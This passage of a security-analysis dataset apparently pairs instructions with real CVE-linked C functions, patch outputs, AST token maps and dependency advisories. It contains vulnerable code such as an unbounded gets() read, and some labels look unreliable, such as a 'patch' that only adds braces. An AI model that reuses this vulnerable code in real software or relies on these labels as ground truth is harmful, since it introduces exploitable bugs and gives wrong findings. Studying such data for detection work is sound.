rxhdr);\ndrop:\n\treturn;\n\ndrop_recycle_buffer:\n\t/* Poison and recycle the RX buffer. */\n\tb43_poison_rx_buffer(ring, skb);\n\tsync_descbuffer_for_device(ring, dmaaddr, ring->rx_buffersize);\n}\n", "output": "{\n \"vulnerable\": true,\n \"cwe\": \"CWE-119\",\n \"cwe_name\": \"Improper Restriction of Operations within Memory Buffer Bounds\",\n \"severity\": \"high\",\n \"cve\": \"CVE-2011-3359\",\n \"project\": \"linux\",\n \"vulnerable_lines\": [\n 39\n ],\n \"sink_node_type\": \"function_definition\",\n \"ast_path\": [\n \"translation_unit\",\n \"function_definition\"\n ],\n \"token_ast_map\": [\n {\n \"token\": \"static\",\n \"ast_node\": \"static\",\n \"line\": 1,\n \"col\": 0\n },\n {\n \"token\": \"void\",\n \"ast_node\": \"primitive_type\",\n \"line\": 1,\n \"col\": 7\n },\n {\n \"token\": \"dma_rx\",\n \"ast_node\": \"identifier\",\n \"line\": 1,\n \"col\": 12\n },\n {\n \"token\": \"(\",\n \"ast_node\": \"(\",\n \"line\": 1,\n \"col\": 18\n },\n {\n \"token\": \"struct\",\n \"ast_node\": \"struct\",\n \"line\": 1,\n \"col\": 19\n },\n {\n \"token\": \"b43_dmaring\",\n \"ast_node\": \"type_identifier\",\n \"line\": 1,\n \"col\": 26\n },\n {\n \"token\": \"*\",\n \"ast_node\": \"*\",\n \"line\": 1,\n \"col\": 38\n },\n {\n \"token\": \"ring\",\n \"ast_node\": \"identifier\",\n \"line\": 1,\n \"col\": 39\n },\n {\n \"token\": \",\",\n \"ast_node\": \",\",\n \"line\": 1,\n \"col\": 43\n },\n {\n \"token\": \"int\",\n \"ast_node\": \"primitive_type\",\n \"line\": 1,\n \"col\": 45\n },\n {\n \"token\": \"*\",\n \"ast_node\": \"*\",\n \"line\": 1,\n \"col\": 49\n },\n {\n \"token\": \"slot\",\n \"ast_node\": \"identifier\",\n \"line\": 1,\n \"col\": 50\n },\n {\n \"token\": \")\",\n \"ast_node\": \")\",\n \"line\": 1,\n \"col\": 54\n },\n {\n \"token\": \"{\",\n \"ast_node\": \"{\",\n \"line\": 2,\n \"col\": 0\n },\n {\n \"token\": \"const\",\n \"ast_node\": \"const\",\n \"line\": 3,\n \"col\": 1\n },\n {\n \"token\": \"struct\",\n \"ast_node\": \"struct\",\n \"line\": 3,\n \"col\": 7\n },\n {\n \"token\": \"b43_dma_ops\",\n \"ast_node\": \"type_identifier\",\n \"line\": 3,\n \"col\": 14\n },\n {\n \"token\": \"*\",\n \"ast_node\": \"*\",\n \"line\": 3,\n \"col\": 26\n },\n {\n \"token\": \"ops\",\n \"ast_node\": \"identifier\",\n \"line\": 3,\n \"col\": 27\n },\n {\n \"token\": \"=\",\n \"ast_node\": \"=\",\n \"line\": 3,\n \"col\": 31\n },\n {\n \"token\": \"ring\",\n \"ast_node\": \"identifier\",\n \"line\": 3,\n \"col\": 33\n },\n {\n \"token\": \"->\",\n \"ast_node\": \"->\",\n \"line\": 3,\n \"col\": 37\n },\n {\n \"token\": \"ops\",\n \"ast_node\": \"field_identifier\",\n \"line\": 3,\n \"col\": 39\n },\n {\n \"token\": \";\",\n \"ast_node\": \";\",\n \"line\": 3,\n \"col\": 42\n },\n {\n \"token\": \"struct\",\n \"ast_node\": \"struct\",\n \"line\": 4,\n \"col\": 1\n },\n {\n \"token\": \"b43_dmadesc_generic\",\n \"ast_node\": \"type_identifier\",\n \"line\": 4,\n \"col\": 8\n },\n {\n \"token\": \"*\",\n \"ast_node\": \"*\",\n \"line\": 4,\n \"col\": 28\n },\n {\n \"token\": \"desc\",\n \"ast_node\": \"identifier\",\n \"line\": 4,\n \"col\": 29\n },\n {\n \"token\": \";\",\n \"ast_node\": \";\",\n \"line\": 4,\n \"col\": 33\n },\n {\n \"token\": \"struct\",\n \"ast_node\": \"struct\",\n \"line\": 5,\n \"col\": 1\n },\n {\n \"token\": \"b43_dmadesc_meta\",\n \"ast_node\": \"type_identifier\",\n \"line\": 5,\n \"col\": 8\n },\n {\n \"token\": \"*\",\n \"ast_node\": \"*\",\n \"line\": 5,\n \"col\": 25\n },\n {\n \"token\": \"meta\",\n \"ast_node\": \"identifier\",\n \"line\": 5,\n \"col\": 26\n },\n {\n \"token\": \";\",\n \"ast_node\": \";\",\n \"line\": 5,\n \"col\": 30\n },\n {\n \"token\": \"struct\",\n \"ast_node\": \"struct\",\n \"line\": 6,\n \"col\": 1\n },\n {\n \"token\": \"b43_rxhdr_fw4\",\n \"ast_node\": \"type_identifier\",\n \"line\": 6,\n \"col\": 8\n },\n {\n \"token\": \"*\",\n \"ast_node\": \"*\",\n \"line\": 6,\n \"col\": 22\n },\n {\n \"token\": \"rxhdr\",\n \"ast_node\": \"identifier\",\n \"line\": 6,\n \"col\": 23\n },\n {\n \"token\": \";\",\n \"ast_node\": \";\",\n \"line\": 6,\n \"col\": 28\n },\n {\n \"token\": \"struct\",\n \"ast_node\": \"struct\",\n \"line\": 7,\n \"col\": 1\n },\n {\n \"token\": \"sk_buff\",\n \"ast_node\": \"type_identifier\",\n \"line\": 7,\n \"col\": 8\n },\n {\n \"token\": \"*\",\n \"ast_node\": \"*\",\n \"line\": 7,\n \"col\": 16\n },\n {\n \"token\": \"skb\",\n \"ast_node\": \"identifier\",\n \"line\": 7,\n \"col\": 17\n },\n {\n \"token\": \";\",\n \"ast_node\": \";\",\n \"line\": 7,\n \"col\": 20\n },\n {\n \"token\": \"u16\",\n \"ast_node\": \"type_identifier\",\n \"line\": 8,\n \"col\": 1\n },\n {\n \"token\": \"len\",\n \"ast_node\": \"identifier\",\n \"line\": 8,\n \"col\": 5\n },\n {\n \"token\": \";\",\n \"ast_node\": \";\",\n \"line\": 8,\n \"col\": 8\n },\n {\n \"token\": \"int\",\n \"ast_node\": \"primitive_type\",\n \"line\": 9,\n \"col\": 1\n },\n {\n \"token\": \"err\",\n \"ast_node\": \"identifier\",\n \"line\": 9,\n \"col\": 5\n },\n {\n \"token\": \";\",\n \"ast_node\": \";\",\n \"line\": 9,\n \"col\": 8\n },\n {\n \"token\": \"dma_addr_t\",\n \"ast_node\": \"type_identifier\",\n \"line\": 10,\n \"col\": 1\n },\n {\n \"token\": \"dmaaddr\",\n \"ast_node\": \"identifier\",\n \"line\": 10,\n \"col\": 12\n },\n {\n \"token\": \";\",\n \"ast_node\": \";\",\n \"line\": 10,\n \"col\": 19\n },\n {\n \"token\": \"desc\",\n \"ast_node\": \"identifier\",\n \"line\": 12,\n \"col\": 1\n },\n {\n \"token\": \"=\",\n \"ast_node\": \"=\",\n \"line\": 12,\n \"col\": 6\n },\n {\n \"token\": \"ops\",\n \"ast_node\": \"identifier\",\n \"line\": 12,\n \"col\": 8\n },\n {\n \"token\": \"->\",\n \"ast_node\": \"->\",\n \"line\": 12,\n \"col\": 11\n },\n {\n \"token\": \"idx2desc\",\n \"ast_node\": \"field_identifier\",\n \"line\": 12,\n \"col\": 13\n },\n {\n \"token\": \"(\",\n \"ast_node\": \"(\",\n \"line\": 12,\n \"col\": 21\n },\n {\n \"token\": \"ring\",\n \"ast_node\": \"identifier\",\n \"line\": 12,\n \"col\": 22\n }\n ],\n \"explanation\": \"Function was modified by the security fix for this CVE; the changed lines mark the vulnerable region.\",\n \"remediation\": \"Apply the upstream fix; see the patched version for the corrected logic.\"\n}"} {"task": "ast_vuln_detection", "language": "c", "cwe": null, "source": "DiverseVul (real non-vulnerable functions)", "instruction": "Perform AST-based static analysis on the following real-world C function. Determine if it is vulnerable, and if so locate the vulnerable region and report a structured finding.", "input": "asmlinkage long compat_sys_fcntl64(unsigned int fd, unsigned int cmd,\n\t\tunsigned long arg)\n{\n\tmm_segment_t old_fs;\n\tstruct flock f;\n\tlong ret;\n\n\tswitch (cmd) {\n\tcase F_GETLK:\n\tcase F_SETLK:\n\tcase F_SETLKW:\n\t\tret = get_compat_flock(&f, compat_ptr(arg));\n\t\tif (ret != 0)\n\t\t\tbreak;\n\t\told_fs = get_fs();\n\t\tset_fs(KERNEL_DS);\n\t\tret = sys_fcntl(fd, cmd, (unsigned long)&f);\n\t\tset_fs(old_fs);\n\t\tif (cmd == F_GETLK && ret == 0) {\n\t\t\t/* GETLK was successfule and we need to return the data...\n\t\t\t * but it needs to fit in the compat structure.\n\t\t\t * l_start shouldn't be too big, unless the original\n\t\t\t * start + end is greater than COMPAT_OFF_T_MAX, in which\n\t\t\t * case the app was asking for trouble, so we return\n\t\t\t * -EOVERFLOW in that case.\n\t\t\t * l_len could be too big, in which case we just truncate it,\n\t\t\t * and only allow the app to see that part of the conflicting\n\t\t\t * lock that might make sense to it anyway\n\t\t\t */\n\n\t\t\tif (f.l_start > COMPAT_OFF_T_MAX)\n\t\t\t\tret = -EOVERFLOW;\n\t\t\tif (f.l_len > COMPAT_OFF_T_MAX)\n\t\t\t\tf.l_len = COMPAT_OFF_T_MAX;\n\t\t\tif (ret == 0)\n\t\t\t\tret = put_compat_flock(&f, compat_ptr(arg));\n\t\t}\n\t\tbreak;\n\n\tcase F_GETLK64:\n\tcase F_SETLK64:\n\tcase F_SETLKW64:\n\t\tret = get_compat_flock64(&f, compat_ptr(arg));\n\t\tif (ret != 0)\n\t\t\tbreak;\n\t\told_fs = get_fs();\n\t\tset_fs(KERNEL_DS);\n\t\tret = sys_fcntl(fd, (cmd == F_GETLK64) ? F_GETLK :\n\t\t\t\t((cmd == F_SETLK64) ? F_SETLK : F_SETLKW),\n\t\t\t\t(unsigned long)&f);\n\t\tset_fs(old_fs);\n\t\tif (cmd == F_GETLK64 && ret == 0) {\n\t\t\t/* need to return lock information - see above for commentary */\n\t\t\tif (f.l_start > COMPAT_LOFF_T_MAX)\n\t\t\t\tret = -EOVERFLOW;\n\t\t\tif (f.l_len > COMPAT_LOFF_T_MAX)\n\t\t\t\tf.l_len = COMPAT_LOFF_T_MAX;\n\t\t\tif (ret == 0)\n\t\t\t\tret = put_compat_flock64(&f, compat_ptr(arg));\n\t\t}\n\t\tbreak;\n\n\tdefault:\n\t\tret = sys_fcntl(fd, cmd, arg);\n\t\tbreak;\n\t}\n\treturn ret;\n}", "output": "{\n \"vulnerable\": false,\n \"cwe\": null,\n \"findings\": [],\n \"project\": \"linux-2.6\",\n \"note\": \"Non-vulnerable function from a real project (DiverseVul label 0).\",\n \"ast_top_level\": [\n \"translation_unit\",\n \"function_definition\"\n ]\n}"} {"task": "vuln_patch", "language": "c", "cwe": "CWE-264", "source": "BigVul (real CVE fix pairs)", "instruction": "The following C function contains a known security vulnerability (CWE-264). Produce the patched version and explain the fix. Output JSON.", "input": "void bnep_net_setup(struct net_device *dev)\n{\n\n\tmemset(dev->broadcast, 0xff, ETH_ALEN);\n \tdev->addr_len = ETH_ALEN;\n \n \tether_setup(dev);\n \tdev->netdev_ops = &bnep_netdev_ops;\n \n \tdev->watchdog_timeo = HZ * 2;\n}\n", "output": "{\n \"vulnerable\": true,\n \"cwe\": \"CWE-264\",\n \"cwe_name\": \"Permissions/Privileges/Access Control\",\n \"cve\": \"CVE-2011-4112\",\n \"fixed_code\": \"void bnep_net_setup(struct net_device *dev)\\n{\\n\\n\\tmemset(dev->broadcast, 0xff, ETH_ALEN);\\n \\tdev->addr_len = ETH_ALEN;\\n \\n \\tether_setup(dev);\\n\\tdev->priv_flags &= ~IFF_TX_SKB_SHARING;\\n \\tdev->netdev_ops = &bnep_netdev_ops;\\n \\n \\tdev->watchdog_timeo = HZ * 2;\\n}\\n\",\n \"change_summary\": \"net: Audit drivers to identify those needing IFF_TX_SKB_SHARING cleared\"\n}"} {"task": "supply_chain_sca", "language": "go", "cwe": null, "source": "OSV (osv.dev) / GitHub Advisory Database", "instruction": "Act as a SAST/SCA tool. Given the package and version in a project's dependency manifest, detect any known vulnerability and return a structured advisory.", "input": "Ecosystem: Go\nManifest: go.mod\nPackage: github.com/gotenberg/gotenberg/v8\nInstalled version: <8.31.0\nSummary: Gotenberg has Unauthenticated RCE via ExifTool Metadata Key Injection in github.com/gotenberg/gotenberg", "output": "{\n \"vulnerable\": true,\n \"advisory_id\": \"GO-2026-5636\",\n \"cve\": \"CVE-2026-42589\",\n \"aliases\": [\n \"CVE-2026-42589\",\n \"GHSA-rqgh-gxv4-6657\"\n ],\n \"cwe\": null,\n \"ecosystem\": \"Go\",\n \"package\": \"github.com/gotenberg/gotenberg/v8\",\n \"severity\": \"unknown\",\n \"affected_versions\": \">=0, <8.31.0\",\n \"fixed_version\": \"8.31.0\",\n \"finding\": \"Gotenberg has Unauthenticated RCE via ExifTool Metadata Key Injection in github.com/gotenberg/gotenberg\",\n \"remediation\": \"Upgrade github.com/gotenberg/gotenberg/v8 to 8.31.0 or later.\"\n}"} {"task": "supply_chain_sca", "language": "c", "cwe": null, "source": "OSV (osv.dev) / Debian & Alpine security trackers", "instruction": "Analyze the following third-party dependency for known supply-chain security advisories and output the result as JSON.", "input": "Ecosystem: Debian:12\nManifest: distro package manager (apt/apk)\nPackage: linux\nInstalled version: <6.1.37-1\nSummary: In the Linux kernel, the following vulnerability has been resolved: wifi: ath6kl: reduce WARN to dev_dbg() in callback The warn is triggered on a known race condition, documented in the code above t...", "output": "{\n \"vulnerable\": true,\n \"advisory_id\": \"DEBIAN-CVE-2023-53639\",\n \"cve\": null,\n \"aliases\": [],\n \"cwe\": null,\n \"ecosystem\": \"Debian:12\",\n \"package\": \"linux\",\n \"severity\": \"unknown\",\n \"affected_versions\": \">=0, <6.1.37-1\",\n \"fixed_version\": \"6.1.37-1\",\n \"finding\": \"In the Linux kernel, the following vulnerability has been resolved: wifi: ath6kl: reduce WARN to dev_dbg() in callback The warn is triggered on a known race condition, documented in the code above t...\",\n \"remediation\": \"Upgrade linux to 6.1.37-1 or later.\"\n}"} {"task": "ast_vuln_detection", "language": "c", "cwe": "CWE-120", "source": "curated SAST pattern + tree-sitter AST", "instruction": "Perform AST-based static analysis on the following C code. Detect the security vulnerability, locate the vulnerable tokens and their AST nodes, and output a structured finding.", "input": "void read_name() {\n char name[32];\n gets(name);\n}\n", "output": "{\n \"vulnerable\": true,\n \"cwe\": \"CWE-120\",\n \"cwe_name\": \"Classic Buffer Overflow\",\n \"title\": \"Unbounded read via gets()\",\n \"severity\": \"critical\",\n \"vulnerable_lines\": [\n 3\n ],\n \"sink_node_type\": \"call_expression\",\n \"ast_path\": [\n \"translation_unit\",\n \"function_definition\",\n \"compound_statement\",\n \"expression_statement\",\n \"call_expression\"\n ],\n \"token_ast_map\": [\n {\n \"token\": \"gets\",\n \"ast_node\": \"identifier\",\n \"line\": 3,\n \"col\": 4\n },\n {\n \"token\": \"(\",\n \"ast_node\": \"(\",\n \"line\": 3,\n \"col\": 8\n },\n {\n \"token\": \"name\",\n \"ast_node\": \"identifier\",\n \"line\": 3,\n \"col\": 9\n },\n {\n \"token\": \")\",\n \"ast_node\": \")\",\n \"line\": 3,\n \"col\": 13\n }\n ],\n \"explanation\": \"gets() has no bounds checking and always risks overflowing the destination buffer.\",\n \"remediation\": \"Use bounded copies (strncpy/snprintf/std::string) and validate input length against the buffer size.\"\n}"} {"task": "vuln_patch", "language": "c", "cwe": "CWE-476", "source": "BigVul (real CVE fix pairs)", "instruction": "The following C function contains a known security vulnerability (CWE-476). Produce the patched version and explain the fix. Output JSON.", "input": " int crypto_rng_reset(struct crypto_rng *tfm, const u8 *seed, unsigned int slen)\n {\n \tu8 *buf = NULL;\n\tint err;\n\n\tif (!seed && slen) {\n\t\tbuf = kmalloc(slen, GFP_KERNEL);\n\t\tif (!buf)\n\t\t\treturn -ENOMEM;\n\n\t\tget_random_bytes(buf, slen);\n \t\tseed = buf;\n \t}\n \n\terr = tfm->seed(tfm, seed, slen);\n \n \tkfree(buf);\n \treturn err;\n}\n", "output": "{\n \"vulnerable\": true,\n \"cwe\": \"CWE-476\",\n \"cwe_name\": \"NULL Pointer Dereference\",\n \"cve\": \"CVE-2017-15116\",\n \"fixed_code\": \" int crypto_rng_reset(struct crypto_rng *tfm, const u8 *seed, unsigned int slen)\\n {\\n \\tu8 *buf = NULL;\\n\\tint err;\\n\\n\\tif (!seed && slen) {\\n\\t\\tbuf = kmalloc(slen, GFP_KERNEL);\\n\\t\\tif (!buf)\\n\\t\\t\\treturn -ENOMEM;\\n\\n\\t\\tget_random_bytes(buf, slen);\\n \\t\\tseed = buf;\\n \\t}\\n \\n\\terr = crypto_rng_alg(tfm)->seed(tfm, seed, slen);\\n \\n \\tkfree(buf);\\n \\treturn err;\\n}\\n\",\n \"change_summary\": \"crypto: rng - Remove old low-level rng interface\"\n}"} {"task": "supply_chain_sca", "language": "javascript", "cwe": null, "source": "OSV (osv.dev) / GitHub Advisory Database", "instruction": "You are a software composition analysis (SCA) engine. Determine whether the dependency below is affected by a known supply-chain vulnerability and report the finding as JSON.", "input": "Ecosystem: npm\nManifest: package.json\nPackage: claude-code-cache-fix\nInstalled version: 3.5.2\nSummary: assess against known advisories", "output": "{\n \"vulnerable\": false,\n \"ecosystem\": \"npm\",\n \"package\": \"claude-code-cache-fix\",\n \"installed_version\": \"3.5.2\",\n \"note\": \"claude-code-cache-fix 3.5.2 is at or above the fixed version for GHSA-g3xq-3gmv-qq8g; no known advisory applies to this version.\"\n}"} {"task": "vuln_patch", "language": "c", "cwe": "CWE-119", "source": "BigVul (real CVE fix pairs)", "instruction": "Remediate the vulnerability in this C function. Return the fixed code and a short rationale as JSON.", "input": " void grubfs_free (GrubFS *gf) {\n \tif (gf) {\n\t\tif (gf->file && gf->file->device)\n \t\t\tfree (gf->file->device->disk);\n \t\tfree (gf->file);\n \t\tfree (gf);\n\t}\n}\n", "output": "{\n \"vulnerable\": true,\n \"cwe\": \"CWE-119\",\n \"cwe_name\": \"Improper Restriction of Operations within Memory Buffer Bounds\",\n \"cve\": \"CVE-2017-9763\",\n \"fixed_code\": \" void grubfs_free (GrubFS *gf) {\\n \\tif (gf) {\\n\\t\\tif (gf->file && gf->file->device) {\\n \\t\\t\\tfree (gf->file->device->disk);\\n\\t\\t}\\n \\t\\tfree (gf->file);\\n \\t\\tfree (gf);\\n\\t}\\n}\\n\",\n \"change_summary\": \"Fix #7723 - crash in ext2 GRUB code because of variable size array in stack\"\n}"} {"task": "ast_vuln_detection", "language": "c", "cwe": "CWE-189", "source": "BigVul (real CVE-fixed functions)", "instruction": "You are a static application security testing (SAST) engine. Parse the C function into its AST, map tokens to AST nodes, decide whether it contains a security vulnerability, and report as JSON.", "input": "hstore_slice_to_hstore(PG_FUNCTION_ARGS)\n{\n\tHStore\t *hs = PG_GETARG_HS(0);\n\tHEntry\t *entries = ARRPTR(hs);\n\tchar\t *ptr = STRPTR(hs);\n\tArrayType *key_array = PG_GETARG_ARRAYTYPE_P(1);\n\tHStore\t *out;\n\tint\t\t\tnkeys;\n\tPairs\t *key_pairs = hstoreArrayToPairs(key_array, &nkeys);\n\tPairs\t *out_pairs;\n\tint\t\t\tbufsiz;\n\tint\t\t\tlastidx = 0;\n\tint\t\t\ti;\n\tint\t\t\tout_count = 0;\n\n\tif (nkeys == 0)\n\t{\n\t\tout = hstorePairs(NULL, 0, 0);\n \t\tPG_RETURN_POINTER(out);\n \t}\n \n \tout_pairs = palloc(sizeof(Pairs) * nkeys);\n \tbufsiz = 0;\n \n\t/*\n\t * we exploit the fact that the pairs list is already sorted into strictly\n\t * increasing order to narrow the hstoreFindKey search; each search can\n\t * start one entry past the previous \"found\" entry, or at the lower bound\n\t * of the last search.\n\t */\n\n\tfor (i = 0; i < nkeys; ++i)\n\t{\n\t\tint\t\t\tidx = hstoreFindKey(hs, &lastidx,\n\t\t\t\t\t\t\t\t\t key_pairs[i].key, key_pairs[i].keylen);\n\n\t\tif (idx >= 0)\n\t\t{\n\t\t\tout_pairs[out_count].key = key_pairs[i].key;\n\t\t\tbufsiz += (out_pairs[out_count].keylen = key_pairs[i].keylen);\n\t\t\tout_pairs[out_count].val = HS_VAL(entries, ptr, idx);\n\t\t\tbufsiz += (out_pairs[out_count].vallen = HS_VALLEN(entries, idx));\n\t\t\tout_pairs[out_count].isnull = HS_VALISNULL(entries, idx);\n\t\t\tout_pairs[out_count].needfree = false;\n\t\t\t++out_count;\n\t\t}\n\t}\n\n\t/*\n\t * we don't use uniquePairs here because we know that the pairs list is\n\t * already sorted and uniq'ed.\n\t */\n\n\tout = hstorePairs(out_pairs, out_count, bufsiz);\n\n\tPG_RETURN_POINTER(out);\n}\n", "output": "{\n \"vulnerable\": true,\n \"cwe\": \"CWE-189\",\n \"cwe_name\": \"Numeric Errors\",\n \"severity\": \"high\",\n \"cve\": \"CVE-2014-2669\",\n \"project\": \"postgres\",\n \"vulnerable_lines\": [],\n \"sink_node_type\": null,\n \"ast_path\": null,\n \"token_ast_map\": null,\n \"explanation\": \"Function was modified by the security fix for this CVE; the changed lines mark the vulnerable region.\",\n \"remediation\": \"Apply the upstream fix; see the patched version for the corrected logic.\"\n}"} {"task": "ast_vuln_detection", "language": "c", "cwe": null, "source": "DiverseVul (real non-vulnerable functions)", "instruction": "You are a static application security testing (SAST) engine. Parse the C function into its AST, map tokens to AST nodes, decide whether it contains a security vulnerability, and report as JSON.", "input": "void dccp_shutdown(struct sock *sk, int how)\n{\n\tdccp_pr_debug(\"entry\\n\");\n}", "output": "{\n \"vulnerable\": false,\n \"cwe\": null,\n \"findings\": [],\n \"project\": \"linux-2.6\",\n \"note\": \"Non-vulnerable function from a real project (DiverseVul label 0).\",\n \"ast_top_level\": [\n \"translation_unit\",\n \"function_definition\"\n ]\n}"} {"task": "ast_vuln_detection", "language": "c", "cwe": "CWE-404", "source": "BigVul (real CVE-fixed functions)", "instruction": "Perform AST-based static analysis on the following real-world C function. Determine if it is vulnerable, and if so locate the vulnerable region and report a structured finding.", "input": "int svc_rdma_xdr_encode_error(struct svcxprt_rdma *xprt,\n\t\t\t struct rpcrdma_msg *rmsgp,\n\t\t\t enum rpcrdma_errcode err, __be32 *va)\n{\n\t__be32 *startp = va;\n\t*va++ = rmsgp->rm_xid;\n\t*va++ = rmsgp->rm_vers;\n\t*va++ = xprt->sc_fc_credits;\n\t*va++ = rdma_error;\n\t*va++ = cpu_to_be32(err);\n\tif (err == ERR_VERS) {\n\t\t*va++ = rpcrdma_version;\n\t\t*va++ = rpcrdma_version;\n\t}\n\treturn (int)((unsigned long)va - (unsigned long)startp);\n}\n", "output": "{\n \"vulnerable\": true,\n \"cwe\": \"CWE-404\",\n \"cwe_name\": \"Improper Resource Shutdown\",\n \"severity\": \"high\",\n \"cve\": \"CVE-2017-9059\",\n \"project\": \"linux\",\n \"vulnerable_lines\": [\n 2,\n 3,\n 4,\n 5,\n 6,\n 7,\n 8,\n 9,\n 10,\n 11,\n 12,\n 13,\n 14,\n 15,\n 16\n ],\n \"sink_node_type\": \"function_definition\",\n \"ast_path\": [\n \"translation_unit\",\n \"function_definition\"\n ],\n \"token_ast_map\": [\n {\n \"token\": \"int\",\n \"ast_node\": \"primitive_type\",\n \"line\": 1,\n \"col\": 0\n },\n {\n \"token\": \"svc_rdma_xdr_encode_error\",\n \"ast_node\": \"identifier\",\n \"line\": 1,\n \"col\": 4\n },\n {\n \"token\": \"(\",\n \"ast_node\": \"(\",\n \"line\": 1,\n \"col\": 29\n },\n {\n \"token\": \"struct\",\n \"ast_node\": \"struct\",\n \"line\": 1,\n \"col\": 30\n },\n {\n \"token\": \"svcxprt_rdma\",\n \"ast_node\": \"type_identifier\",\n \"line\": 1,\n \"col\": 37\n },\n {\n \"token\": \"*\",\n \"ast_node\": \"*\",\n \"line\": 1,\n \"col\": 50\n },\n {\n \"token\": \"xprt\",\n \"ast_node\": \"identifier\",\n \"line\": 1,\n \"col\": 51\n },\n {\n \"token\": \",\",\n \"ast_node\": \",\",\n \"line\": 1,\n \"col\": 55\n },\n {\n \"token\": \"struct\",\n \"ast_node\": \"struct\",\n \"line\": 2,\n \"col\": 9\n },\n {\n \"token\": \"rpcrdma_msg\",\n \"ast_node\": \"type_identifier\",\n \"line\": 2,\n \"col\": 16\n },\n {\n \"token\": \"*\",\n \"ast_node\": \"*\",\n \"line\": 2,\n \"col\": 28\n },\n {\n \"token\": \"rmsgp\",\n \"ast_node\": \"identifier\",\n \"line\": 2,\n \"col\": 29\n },\n {\n \"token\": \",\",\n \"ast_node\": \",\",\n \"line\": 2,\n \"col\": 34\n },\n {\n \"token\": \"enum\",\n \"ast_node\": \"enum\",\n \"line\": 3,\n \"col\": 9\n },\n {\n \"token\": \"rpcrdma_errcode\",\n \"ast_node\": \"type_identifier\",\n \"line\": 3,\n \"col\": 14\n },\n {\n \"token\": \"err\",\n \"ast_node\": \"identifier\",\n \"line\": 3,\n \"col\": 30\n },\n {\n \"token\": \",\",\n \"ast_node\": \",\",\n \"line\": 3,\n \"col\": 33\n },\n {\n \"token\": \"__be32\",\n \"ast_node\": \"type_identifier\",\n \"line\": 3,\n \"col\": 35\n },\n {\n \"token\": \"*\",\n \"ast_node\": \"*\",\n \"line\": 3,\n \"col\": 42\n },\n {\n \"token\": \"va\",\n \"ast_node\": \"identifier\",\n \"line\": 3,\n \"col\": 43\n },\n {\n \"token\": \")\",\n \"ast_node\": \")\",\n \"line\": 3,\n \"col\": 45\n },\n {\n \"token\": \"{\",\n \"ast_node\": \"{\",\n \"line\": 4,\n \"col\": 0\n },\n {\n \"token\": \"__be32\",\n \"ast_node\": \"type_identifier\",\n \"line\": 5,\n \"col\": 1\n },\n {\n \"token\": \"*\",\n \"ast_node\": \"*\",\n \"line\": 5,\n \"col\": 8\n },\n {\n \"token\": \"startp\",\n \"ast_node\": \"identifier\",\n \"line\": 5,\n \"col\": 9\n },\n {\n \"token\": \"=\",\n \"ast_node\": \"=\",\n \"line\": 5,\n \"col\": 16\n },\n {\n \"token\": \"va\",\n \"ast_node\": \"identifier\",\n \"line\": 5,\n \"col\": 18\n },\n {\n \"token\": \";\",\n \"ast_node\": \";\",\n \"line\": 5,\n \"col\": 20\n },\n {\n \"token\": \"*\",\n \"ast_node\": \"*\",\n \"line\": 6,\n \"col\": 1\n },\n {\n \"token\": \"va\",\n \"ast_node\": \"identifier\",\n \"line\": 6,\n \"col\": 2\n },\n {\n \"token\": \"++\",\n \"ast_node\": \"++\",\n \"line\": 6,\n \"col\": 4\n },\n {\n \"token\": \"=\",\n \"ast_node\": \"=\",\n \"line\": 6,\n \"col\": 7\n },\n {\n \"token\": \"rmsgp\",\n \"ast_node\": \"identifier\",\n \"line\": 6,\n \"col\": 9\n },\n {\n \"token\": \"->\",\n \"ast_node\": \"->\",\n \"line\": 6,\n \"col\": 14\n },\n {\n \"token\": \"rm_xid\",\n \"ast_node\": \"field_identifier\",\n \"line\": 6,\n \"col\": 16\n },\n {\n \"token\": \";\",\n \"ast_node\": \";\",\n \"line\": 6,\n \"col\": 22\n },\n {\n \"token\": \"*\",\n \"ast_node\": \"*\",\n \"line\": 7,\n \"col\": 1\n },\n {\n \"token\": \"va\",\n \"ast_node\": \"identifier\",\n \"line\": 7,\n \"col\": 2\n },\n {\n \"token\": \"++\",\n \"ast_node\": \"++\",\n \"line\": 7,\n \"col\": 4\n },\n {\n \"token\": \"=\",\n \"ast_node\": \"=\",\n \"line\": 7,\n \"col\": 7\n },\n {\n \"token\": \"rmsgp\",\n \"ast_node\": \"identifier\",\n \"line\": 7,\n \"col\": 9\n },\n {\n \"token\": \"->\",\n \"ast_node\": \"->\",\n \"line\": 7,\n \"col\": 14\n },\n {\n \"token\": \"rm_vers\",\n \"ast_node\": \"field_identifier\",\n \"line\": 7,\n \"col\": 16\n },\n {\n \"token\": \";\",\n \"ast_node\": \";\",\n \"line\": 7,\n \"col\": 23\n },\n {\n \"token\": \"*\",\n \"ast_node\": \"*\",\n \"line\": 8,\n \"col\": 1\n },\n {\n \"token\": \"va\",\n \"ast_node\": \"identifier\",\n \"line\": 8,\n \"col\": 2\n },\n {\n \"token\": \"++\",\n \"ast_node\": \"++\",\n \"line\": 8,\n \"col\": 4\n },\n {\n \"token\": \"=\",\n \"ast_node\": \"=\",\n \"line\": 8,\n \"col\": 7\n },\n {\n \"token\": \"xprt\",\n \"ast_node\": \"identifier\",\n \"line\": 8,\n \"col\": 9\n },\n {\n \"token\": \"->\",\n \"ast_node\": \"->\",\n \"line\": 8,\n \"col\": 13\n },\n {\n \"token\": \"sc_fc_credits\",\n \"ast_node\": \"field_identifier\",\n \"line\": 8,\n \"col\": 15\n },\n {\n \"token\": \";\",\n \"ast_node\": \";\",\n \"line\": 8,\n \"col\": 28\n },\n {\n \"token\": \"*\",\n \"ast_node\": \"*\",\n \"line\": 9,\n \"col\": 1\n },\n {\n \"token\": \"va\",\n \"ast_node\": \"identifier\",\n \"line\": 9,\n \"col\": 2\n },\n {\n \"token\": \"++\",\n \"ast_node\": \"++\",\n \"line\": 9,\n \"col\": 4\n },\n {\n \"token\": \"=\",\n \"ast_node\": \"=\",\n \"line\": 9,\n \"col\": 7\n },\n {\n \"token\": \"rdma_error\",\n \"ast_node\": \"identifier\",\n \"line\": 9,\n \"col\": 9\n },\n {\n \"token\": \";\",\n \"ast_node\": \";\",\n \"line\": 9,\n \"col\": 19\n },\n {\n \"token\": \"*\",\n \"ast_node\": \"*\",\n \"line\": 10,\n \"col\": 1\n },\n {\n \"token\": \"va\",\n \"ast_node\": \"identifier\",\n \"line\": 10,\n \"col\": 2\n }\n ],\n \"explanation\": \"Function was modified by the security fix for this CVE; the changed lines mark the vulnerable region.\",\n \"remediation\": \"Apply the upstream fix; see the patched version for the corrected logic.\"\n}"} {"task": "supply_chain_sca", "language": "java", "cwe": null, "source": "OSV (osv.dev) / GitHub Advisory Database", "instruction": "You are a software composition analysis (SCA) engine. Determine whether the dependency below is affected by a known supply-chain vulnerability and report the finding as JSON.", "input": "Ecosystem: 